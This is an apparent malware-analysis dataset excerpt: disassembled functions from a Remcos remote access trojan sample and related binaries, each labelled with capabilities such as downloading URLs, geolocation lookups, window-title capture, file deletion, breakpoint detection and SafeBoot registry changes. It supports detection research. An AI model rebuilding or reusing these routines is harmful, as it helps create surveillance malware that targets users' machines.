joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa936b
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.000920bf
xor esi, esi
push 0xffff
mov dword [esp + 0x14], esi
call fcn.000c9adb
pop ecx
push esi
push esi
push esi
push 1
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push 0x80000000
push esi
push esi
mov ebp, eax
push str.http:__geoplugin.net_json.gp
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0xffff
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0xa93f7
push ecx
push edi
lea ecx, [esp + 0x20]
call fcn.00092097
push eax
mov ecx, ebx
call fcn.00093356
lea ecx, [esp + 0x18]
call fcn.00091fb8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp eax, 1
jne 0xa9400
test ecx, ecx
jne 0xa93b0
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
push edi
call fcn.000c9ad6
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0xa99d7
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0xa9a6e
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0xa9a6e
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x5c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0xa9a65
mov esi, dword [ebp - 0x54]
inc esi
push esi
mov dword [ebp - 0x54], esi
call fcn.000c9adb
mov dword [ebx], eax
pop ecx
test eax, eax
je 0xa9a65
push 8
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.000c4c30
push esi
push edi
push dword [ebx]
call fcn.000c4c30
add esp, 0x18
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
push edi
push dword [ebp - 0x10]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xa9a77
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push edi
mov edi, 0x200
mov esi, ecx
push edi
push 0
push eax
call fcn.000c4c30
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push edi
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.0009415e
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xa9ae9
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0xa9b11
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret

Function at 0xaa01b
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x664
lea eax, [ebp - 0x410]
push ebx
push esi
push edi
mov edi, ecx
push edi
push eax
call fcn.000ca796
lea eax, [ebp - 0x410]
push 0xf959c
push eax
call fcn.000cf414
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.000ca796
lea eax, [ebp - 0x208]
push 0xf32a8
push eax
call fcn.000cf414
add esp, 0x20
lea eax, [ebp - 0x660]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0xaa172
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.000ca796
pop ecx
pop ecx
mov bl, 1
lea eax, [ebp - 0x660]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0xaa146
lea ecx, [ebp - 0x634]
call fcn.000a9fed
test eax, eax
jne 0xaa153
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.000cf414
test byte [ebp - 0x660], 0x10
pop ecx
pop ecx
je 0xaa103
lea ecx, [ebp - 0x208]
call fcn.000aa01b
test eax, eax
je 0xaa16b
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0xaa12f
test byte [ebp - 0x660], 1
je 0xaa11e
push 0x80
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0xaa16b
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.000ca796
pop ecx
pop ecx
jmp 0xaa153
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0xaa16b
xor bl, bl
test bl, bl
jne 0xaa09e
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0xaa174
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xaa17b
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push ebx
push ebp
push esi
xor ebx, ebx
mov ebp, ecx
push edi
mov edi, edx
sub eax, ebx
je 0xaa1a4
sub eax, 1
jne 0xaa19a
push 4
pop eax
mov ecx, eax
jmp 0xaa1ac
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
jmp 0xaa1ac
push 2
mov eax, 0x40000000
pop ecx
push ebx
push 0x80
push ecx
push ebx
push ebx
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0xaa1cb
xor al, al
jmp 0xaa209
cmp dword [esp + 0x1c], 1
jne 0xaa1eb
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0xaa1eb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0xaa1c7
push ebx
lea eax, [esp + 0x14]
push eax
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0xaa200
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0xaa20f
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push edi
xor ebx, ebx
mov ebp, edx
push ebx
push 0x80
push 3
push ebx
push 3
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xaa239
xor al, al
jmp 0xaa277
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov ecx, ebp
push ebx
push esi
call fcn.0009242e
push ebx
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebx
push eax
push esi
mov ecx, ebp
call fcn.00091f8b
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
test eax, eax
je 0xaa26e
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop ebp
pop ebx
pop ecx
ret

Function at 0xaa29f
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xaa2c5
xor eax, eax
jmp 0xaa2d8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret
Function at 0xaa2db
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
xor ebx, ebx
test esi, esi
je 0xaa3d8
push ebx
inc esi
lea ecx, [esp + 0x34]
push esi
call fcn.0009a854
push esi
lea ecx, [esp + 0x34]
call fcn.00091ee4
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
call fcn.000922e5
mov edi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x18]
push eax
call fcn.000922aa
mov esi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x1c]
push eax
call fcn.000922e5
push dword [edi]
lea ecx, [esp + 0x24]
push dword [esi]
push dword [eax]
call fcn.00098d16
sub esp, 0xc
mov ecx, esp
push 0xf97f4
call fcn.0009415e
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00098098
lea ecx, [esp + 0x54]
call fcn.000a9e55
add esp, 0x30
lea ecx, [esp + 0x24]
mov edi, ebx
call fcn.000921da
test eax, eax
je 0xaa3c6
mov esi, ebx
push ebx
push esi
lea ecx, [esp + 0x2c]
call fcn.00091e45
push eax
lea ecx, [esp + 0x38]
call fcn.00098b99
cmp eax, 0xffffffff
jne 0xaa3e9
inc edi
lea ecx, [esp + 0x24]
movzx esi, di
call fcn.000921da
cmp esi, eax
jb 0xaa39b
lea ecx, [esp + 0x24]
call fcn.000a12e2
lea ecx, [esp + 0x30]
call fcn.00091ee9
lea ecx, [ebp + 8]
call fcn.00091ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0x10]
test esi, esi
je 0xaa403
lea ecx, [esp + 0x30]
call fcn.00091ee4
push eax
push esi
call fcn.000ca796
pop ecx
pop ecx
lea ecx, [esp + 0x24]
call fcn.000a12e2
lea ecx, [esp + 0x30]
call fcn.00091ee9
mov bl, 1
jmp 0xaa3d8
Function at 0xaa76c
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0xaa818
sub ecx, 1
je 0xaa80a
sub ecx, 1
je 0xaa7fc
sub ecx, 1
je 0xaa7c9
sub ecx, 1
jne 0xaa85a
push 1
sub esp, 0x18
mov ecx, esp
push 0xf30c0
call fcn.00092073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.000a215f
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0xf30bc
jmp 0xaa846
push 1
sub esp, 0x18
mov ecx, esp
push 0xf9318
call fcn.00092073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.000a215f
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0xf30c0
jmp 0xaa846
push 1
sub esp, 0x18
mov ecx, esp
push 0xf9710
jmp 0xaa7d5
push 1
sub esp, 0x18
mov ecx, esp
push 0xf30a8
jmp 0xaa7d5
push 1
sub esp, 0x18
mov ebx, 0xf30c0
mov ecx, esp
push ebx
call fcn.00092073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.000a215f
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.00092073
push str.TileWallpaper
mov edx, esi
call fcn.000a215f
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0xaaa4f
Capabilities:
Hide graphical window

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xc8
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [0x101ac8]
test bl, bl
mov dword [0x101acc], eax
pop ebx
jne 0xaaa7c
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
call fcn.000ca9be
push eax
push 0xf9a94
push str.CONOUT_
call fcn.000cf0f0
push 0xc8
lea eax, [ebp - 0x50]
push 0
push eax
call fcn.000c4c30
lea eax, [ebp - 0x50]
push str.___________________________n
push eax
call fcn.000cf460
lea eax, [ebp - 0x50]
push str.__Remcos_v
push eax
call fcn.000cf460
lea eax, [ebp - 0x50]
push str.3.8.0_Pro
push eax
call fcn.000cf460
lea eax, [ebp - 0x50]
push str._n__BreakingSecurity.net_n
push eax
call fcn.000cf460
lea eax, [ebp - 0x50]
push str.___________________________n_n
push eax
call fcn.000cf460
add esp, 0x44
lea eax, [ebp - 0x50]
push eax
call fcn.000a928b
pop ecx
lea esp, [ebp + 0x78]
pop ebp
ret
Function at 0xafdd8
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0xafe03
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0xafe03
cmp al, 0xc0
je 0xafe03
cmp al, 0xcc
je 0xafe03
add edx, 2
cmp dx, cx
jb 0xafde8
pop esi
ret

Function at 0xb28b2
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, edx
mov edx, dword [esp + 0x10]
lea esi, [edi + 4]
push esi
call fcn.000b284f
mov edx, dword [esp + 0x10]
pop ecx
push 4
sub edx, edi
pop ecx
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
sub ecx, 1
jne 0xb28cd
push 8
pop ecx
mov al, byte [esi + edx]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0xb28db
pop edi
pop esi
ret

Function at 0xb4b36
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0xb4b4e
sub edx, ecx
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
sub esi, 1
jne 0xb4b41
pop esi
ret

Function at 0xb4b50
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
or eax, edx
push esi
mov esi, dword [esp + 8]
or eax, esi
test al, 3
jne 0xb4b6b
shr esi, 2
push esi
call fcn.000b4b36
pop ecx
pop esi
ret
test esi, esi
je 0xb4b7c
sub edx, ecx
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub esi, 1
jne 0xb4b71
pop esi
ret

Function at 0xb4b7e
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
mov esi, edx
mov ebx, ecx
test edi, edi
jle 0xb4ba2
sub ebx, esi
movzx edx, byte [ebx + esi]
movzx ecx, byte [esi]
xor edx, ecx
or eax, edx
inc esi
sub edi, 1
jne 0xb4b91
pop edi
pop esi
pop ebx
ret

Function at 0xb4ba6
Capabilities:
Encrypt data using aes

Disassembly:
xor eax, eax
mov ecx, 0xf5450
push 0x20
pop edx
and eax, dword [ecx]
add ecx, 0x20
sub edx, 1
jne 0xb4bb0
cmp ecx, str.SHA256wECDSA
jl 0xb4bad
ret
Function at 0xb960d
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
lea eax, [edx + 0x3f]
push esi
shr eax, 6
mov esi, edx
sub esi, eax
mov dword [esp + 0x10], edx
push edi
xor edi, edi
mov ebx, ecx
and dword [esp + 0x18], edi
inc esi
imul eax, esi, 3
shr eax, 2
cmp eax, dword [ebp]
jbe 0xb9644
mov eax, 0xffffff53
jmp 0xb9817
mov esi, dword [esp + 0x20]
cmp edx, 3
jbe 0xb9805
lea eax, [esp + 0x18]
mov ecx, ebx
push eax
lea edx, [esp + 0x18]
call fcn.000b95af
add esp, 4
test eax, eax
jne 0xb97fe
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
mov byte [esp + 0x13], cl
mov dword [esp + 0x18], eax
test cl, cl
je 0xb9805
dec dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
mov ecx, ebx
call fcn.000b95af
add esp, 4
test eax, eax
jne 0xb9817
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
mov byte [esp + 0x12], cl
mov ecx, ebx
push eax
call fcn.000b95af
add esp, 4
test eax, eax
jne 0xb9817
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
mov byte [esp + 0x24], cl
mov ecx, ebx
push eax
call fcn.000b95af
add esp, 4
test eax, eax
jne 0xb9817
mov eax, dword [esp + 0x18]
mov dl, byte [esp + 0x13]
mov dh, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
cmp dl, 0x2b
jb 0xb97f7
mov cl, byte [esp + 0x12]
cmp cl, 0x2b
jb 0xb97f7
mov al, byte [esp + 0x24]
cmp al, 0x2b
jb 0xb97f7
cmp dh, 0x2b
jb 0xb97f7
cmp dl, 0x7a
ja 0xb97f7
cmp cl, 0x7a
ja 0xb97f7
cmp al, 0x7a
ja 0xb97f7
cmp dh, 0x7a
ja 0xb97f7
xor ecx, ecx
cmp al, 0x3d
setne cl
xor eax, eax
inc ecx
cmp dh, 0x3d
setne al
add ecx, edi
add eax, ecx
cmp eax, dword [ebp]
ja 0xb963a
mov cl, byte [esp + 0x12]
movzx eax, dl
mov al, byte [eax + 0xf6595]
mov byte [esp + 0x13], al
movzx eax, cl
mov ch, byte [eax + 0xf6595]
mov al, byte [esp + 0x24]
cmp al, 0x3d
jne 0xb979a
xor cl, cl
jmp 0xb97a3
movzx eax, al
mov cl, byte [eax + 0xf6595]
cmp dh, 0x3d
jne 0xb97ac
xor al, al
jmp 0xb97b5
movzx eax, dh
mov al, byte [eax + 0xf6595]
mov ah, byte [esp + 0x13]
mov dl, cl
shl dl, 6
or dl, al
shl ah, 2
mov al, ch
shr al, 4
or al, ah
mov byte [edi + esi], al
inc edi
cmp byte [esp + 0x24], 0x3d
je 0xb97e1
shr cl, 2
shl ch, 4
or cl, ch
mov byte [edi + esi], cl
inc edi
cmp dh, 0x3d
je 0xb9805
mov byte [edi + esi], dl
inc edi
cmp dword [esp + 0x14], 3
ja 0xb9651
jmp 0xb9805
mov eax, 0xffffff66
jmp 0xb9817
cmp eax, 0xffffff7c
jne 0xb9817
test esi, esi
je 0xb9812
cmp dword [ebp], edi
jbe 0xb9812
mov byte [edi + esi], 0
mov dword [ebp], edi
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0xbcf13
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
test edi, edi
je 0xbd00d
cmp dword [esp + 0x14], 0
mov esi, dword [esp + 0x18]
jne 0xbcf34
test esi, esi
jne 0xbd00d
cmp edx, 3
je 0xbcf6a
cmp edx, 4
je 0xbcf6a
cmp edx, 5
je 0xbcf6a
cmp edx, 6
je 0xbcf6a
cmp edx, 7
je 0xbcf6a
cmp edx, 8
je 0xbcf6a
cmp edx, 0xa
je 0xbcf6a
cmp edx, 0xb
je 0xbcf6a
cmp edx, 0xc
je 0xbcf6a
cmp edx, 0xd
jne 0xbd00d
xor ebx, ebx
mov byte [edi + 0x114], dl
push ecx
mov byte [edi + 0x115], bl
call fcn.000bcef6
mov ebp, eax
pop ecx
test ebp, ebp
jne 0xbd012
cmp byte [edi + 0x114], 6
lea ecx, [edi + 0x70]
jne 0xbd00d
cmp esi, 0x40
ja 0xbcfb0
cmp dword [esp + 0x14], ebx
je 0xbcfd9
push esi
push dword [esp + 0x18]
push ecx
call fcn.000c46b0
add esp, 0xc
jmp 0xbcfd6
mov edx, dword [esp + 0x14]
mov ecx, edi
push esi
call fcn.000c1df5
mov ebp, eax
pop ecx
test ebp, ebp
jne 0xbd009
lea edx, [edi + 0x70]
mov ecx, edi
call fcn.000c1ed0
mov ebp, eax
test ebp, ebp
jne 0xbd009
push 0x20
pop esi
lea ecx, [edi + 0x70]
cmp esi, 0x40
jae 0xbcff1
push 0x40
pop eax
sub eax, esi
push eax
lea eax, [ecx + esi]
push ebx
push eax
call fcn.000c4c30
add esp, 0xc
mov al, byte [ebx + edi + 0x70]
xor al, 0x5c
mov byte [edi + ebx + 0xb0], al
xor byte [ebx + edi + 0x70], 0x36
inc ebx
cmp ebx, 0x40
jb 0xbcff1
mov eax, ebp
jmp 0xbd012
mov eax, 0xffffff53
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0xc0e91
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xd4
push ebx
push ebp
push esi
xor ebx, ebx
xor esi, esi
push edi
inc ebx
inc esi
cmp dword [esp + 0xe8], 0
mov edi, ecx
push 0
cmovne ebx, dword [esp + 0xec]
mov ebp, edx
pop ecx
test bl, 0x1f
mov eax, ebx
push 0x37
push dword [esp + 0xf0]
setne cl
shr eax, 5
add eax, ecx
mov dword [esp + 0x18], eax
lea eax, [esp + 0x44]
push eax
call fcn.000c46b0
and dword [esp + 0x20], 0
add esp, 0xc
cmp dword [esp + 0x10], 0
jbe 0xc0fcf
lea ecx, [esp + 0x74]
call fcn.000c1f0f
mov esi, eax
test esi, esi
jne 0xc0fcf
push 0x37
lea edx, [esp + 0x40]
lea ecx, [esp + 0x78]
call fcn.000c1df5
mov esi, eax
pop ecx
test esi, esi
jne 0xc0fcf
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x74]
call fcn.000c1ed0
mov esi, eax
test esi, esi
jne 0xc0fcf
push 4
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
call fcn.000c46b0
mov eax, dword [esp + 0x24]
add esp, 0xc
cmp dword [edi], 1
jbe 0xc0f7a
cmp eax, dword [edi + 4]
jne 0xc0f7a
cmp byte [edi + 0x76], 1
je 0xc0fed
mov edx, dword [esp + 0x10]
mov byte [edi + 0x76], 1
lea eax, [edx - 1]
cmp dword [esp + 0x14], eax
lea ecx, [edx + 1]
cmovne ecx, edx
mov dword [esp + 0x10], ecx
jmp 0xc0f81
mov byte [edi + 0x76], 0
mov dword [edi + 4], eax
test ebp, ebp
je 0xc0fbc
test ebx, ebx
je 0xc0fbc
lea eax, [esp + 0x1c]
cmp ebx, 0x20
jb 0xc0faf
push 0x20
push eax
push ebp
call fcn.000c46b0
add esp, 0xc
lea ecx, [esp + 0x3c]
sub ebx, 0x20
add ebp, 0x20
call fcn.000c0e82
jmp 0xc0fbc
push ebx
push eax
push ebp
call fcn.000c46b0
add esp, 0xc
xor ebx, ebx
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, dword [esp + 0x10]
jl 0xc0eef
push 0x37
pop edx
lea ecx, [esp + 0x3c]
call fcn.000ab443
xor eax, eax
test esi, esi
setne al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd4
ret
push 3
pop eax
jmp 0xc0fe2

Function at 0xc16e9
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, ecx
test esi, esi
jne 0xc1695
mov eax, 0xffffff53
pop esi
ret
push edi
push 0x20
xor edi, edi
push edi
push esi
call fcn.000c4c30
add esp, 0xc
mov dword [esi + 0x60], edi
mov dword [esi + 0x64], edi
xor eax, eax
mov dword [esi + 0x68], edi
mov dword [esi], 0x6a09e667
pop edi
mov dword [esi + 4], 0xbb67ae85
mov dword [esi + 8], 0x3c6ef372
mov dword [esi + 0xc], 0xa54ff53a
mov dword [esi + 0x10], 0x510e527f
mov dword [esi + 0x14], 0x9b05688c
mov dword [esi + 0x18], 0x1f83d9ab
mov dword [esi + 0x1c], 0x5be0cd19
pop esi
ret
test ecx, ecx
jne 0xc16f3
mov eax, 0xffffff53
ret
mov dword [ecx + 0x6c], edx
jmp 0xc1687
Function at 0xc1e14
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, ecx
test ebx, ebx
jne 0xc1e22
mov eax, 0xffffff53
pop ebx
ret
mov eax, dword [ebx + 0x60]
push ebp
push esi
push edi
push 0x40
pop edi
lea ebp, [ebx + 0x20]
mov byte [eax + ebp], 0x80
inc dword [ebx + 0x60]
mov ecx, dword [ebx + 0x60]
push 0x38
pop esi
cmp ecx, esi
jbe 0xc1e6f
mov eax, edi
sub eax, ecx
push eax
lea eax, [ecx + ebp]
push 0
push eax
call fcn.000c4c30
push edi
mov edx, ebp
mov dword [ebx + 0x60], edi
mov ecx, ebp
call fcn.000c165d
add esp, 0x10
mov edx, ebp
mov ecx, ebx
call fcn.000c16fb
test eax, eax
jne 0xc1ecb
and dword [ebx + 0x60], eax
mov eax, dword [ebx + 0x60]
sub esi, eax
push esi
add eax, ebp
push 0
push eax
call fcn.000c4c30
lea edi, [ebx + 0x64]
mov edx, ebp
mov ecx, dword [edi]
lea esi, [ebx + 0x68]
mov eax, dword [esi]
shr ecx, 0x1d
push 0x40
lea eax, [ecx + eax*8]
mov ecx, ebp
mov dword [esi], eax
mov eax, dword [edi]
shl eax, 3
mov dword [edi], eax
call fcn.000c165d
push 4
lea eax, [ebp + 0x38]
push esi
push eax
call fcn.000c46b0
push 4
lea eax, [ebp + 0x3c]
push edi
push eax
call fcn.000c46b0
add esp, 0x28
mov edx, ebp
mov ecx, ebx
pop edi
pop esi
pop ebp
pop ebx
jmp fcn.000c16fb
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0xc1ed0
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, edx
test esi, esi
je 0xc1f07
test edi, edi
je 0xc1f07
call fcn.000c1e14
test eax, eax
jne 0xc1f0c
push 0x20
mov edx, esi
mov ecx, esi
call fcn.000c165d
push 0x20
push esi
push edi
call fcn.000c46b0
add esp, 0x10
mov ecx, esi
pop edi
pop esi
jmp 0xc1687
mov eax, 0xffffff53
pop edi
pop esi
ret

Function at 0xc1fbf
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov eax, edx
mov ebp, ecx
neg eax
mov dword [esp + 8], eax
test ebp, ebp
je 0xc2059
mov ebx, dword [esp + 0x14]
test ebx, ebx
je 0xc2059
mov edx, dword [ebp]
mov ecx, ebx
inc edx
call fcn.000bd6a2
mov dword [esp + 0xc], eax
test eax, eax
jne 0xc205e
xor edx, edx
push esi
push edi
cmp dword [ebp], edx
jle 0xc201f
mov edi, dword [ebx + 0xc]
mov ecx, ebp
call fcn.000c1fa9
mov ecx, ebx
mov esi, eax
call fcn.000c1fa9
mov ecx, dword [esp + 0x10]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
cmp edx, dword [ebp]
jl 0xc1ff9
jmp 0xc2044
mov ecx, dword [esp + 0x10]
jmp 0xc2044
mov edi, dword [ebx + 0xc]
mov ecx, ebp
call fcn.000c1fa9
mov ecx, ebx
mov esi, eax
call fcn.000c1fa9
mov ecx, dword [esp + 0x10]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
cmp edx, dword [ebx]
jl 0xc2025
mov eax, dword [ebp]
xor eax, dword [ebx]
and eax, ecx
xor dword [ebx], eax
mov eax, dword [esp + 0x14]
pop edi
pop esi
jmp 0xc205e
mov eax, 0xffffff53
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0xd84bf
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.000d833e

Function at 0xdcc9f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.000dc60d

Function at 0xdccaa
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.000dc848
Function at 0x42034a
Capabilities:
Manipulate safe mode programs

Disassembly:
mov eax, 0x47f9bc
call fcn.0047bf90
push ecx
push ecx
add ecx, 4
lea eax, [ebp - 0x10]
push ecx
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_
push eax
call fcn.0042acf7
add esp, 0xc
and dword [ebp - 4], 0
cmp byte [ebp + 8], 0
je 0x4203cd
lea ecx, [ebp + 8]
call fcn.0042994c
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.0042b153
push eax
push reloc.WS2_32.dll_bind
lea ecx, [ebp + 8]
call fcn.00428877
push str.Service
lea ecx, [ebp - 0x14]
call fcn.0042aa29
push eax
push 0
lea ecx, [ebp + 8]
mov byte [ebp - 4], 2
call fcn.00428aeb
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.0042a9b6
